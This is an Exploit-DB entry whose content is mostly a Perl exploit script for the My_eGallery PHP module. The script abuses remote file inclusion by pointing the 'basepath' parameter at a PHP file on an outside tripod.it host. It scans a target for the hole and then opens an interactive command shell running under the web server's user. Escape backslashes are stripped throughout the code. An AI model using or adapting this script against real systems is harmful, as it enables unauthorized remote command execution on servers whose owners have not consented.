https://www.exploit-db.com/exploits/23403

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/9113/info

A problem has been identified in the handling of input by My_eGallery. Because of this, it may be possible for a remote user to gain unauthorized access to a system using the vulnerable software.

#####################################################
# MyeGallery exploit
# Spawn bash style Shell with webserver uid
# hackarena irc.brasnet.org
# This Script is currently under development
#####################################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
$U[1] = "/modules/My_eGallery/public/displayCategory.php?basepath=http://utenti.tripod.it/z00/php.txt?&cmd=";
&intro;
&scan;
&choose;
&command;
&exit;
sub intro {
&help;
&host;
&server;
sleep 3;
};
sub host {
print "nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$port="80";
chomp $port;
if ($port =~/D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
sub server {
my $X;
print "nnnnnnnnnnnnnnnnnnnnnnnn";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
        $output = $results[$X];
        if (defined $output){
        if ($output =~/Apache/){ $webserver = "Apache" };
        };
};
if ($webserver ne "Apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "nnOK";
        };
};
sub scan {
my $status = "not_vulnerable";
print "nnnnnnnnnnnnnnnnnnnnnnnn";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) {
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
                              $status = "vulnerable";
                              };
        };
if ($flag eq "0") {
}else{
print "aaan$host VULNERABLE TO MyeGallery $loop !!!";
     };
};
if ($status eq "not_vulnerable"){

                                };
};
sub choose {
my $choice="0";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = "/modules/My_eGallery/public/displayCategory.php?basepath=http://utenti.tripod.it/z00/php.txt?&cmd=";
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "n[$host]$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose };
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/s/+/g;
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};
sub connect {
my $connection = IO::Socket::INET->new (
                                Proto => "tcp",
                                PeerAddr => "$host",
                                PeerPort => "$port",
                                ) or die "nSorry UNABLE TO CONNECT To $host On Port $port.n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command$shiz HTTP/1.1rnHost: $hostrnrn";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.1rnHost: $hostrnrn";
};

while ( <$connection> ) {
                        @results = <$connection>;
                         };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};
sub output{
my $display;
if ($probe eq "string") {
                        my $X;
                        for ($X=0; $X<=10; $X++) {
                        $display = $results[$X];
                        if (defined $display){print "$display";};
                        sleep 1;
                                };
                        }else{
                        foreach $display (@results){
                            print "$display";
                            sleep 1;
                                };
                          };
};
sub exit{
print "nnn
SPABAM 2003.";
print "nnn";
exit;
};
sub help {
print "nnnnnnnnnnnnnnnnnnnnnnnn";
print "n
        My_eGallery.pl by SPABAM 2004";
print "n
";
print "n My_eGallery EXPLOIT v1.2 by SPABAM. SPAWN A BASH STYLE SHELL";
print "n
note.. web directory is normally /var/www/html";
print "n";
print "n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "nnnnnnnnnnnn";
};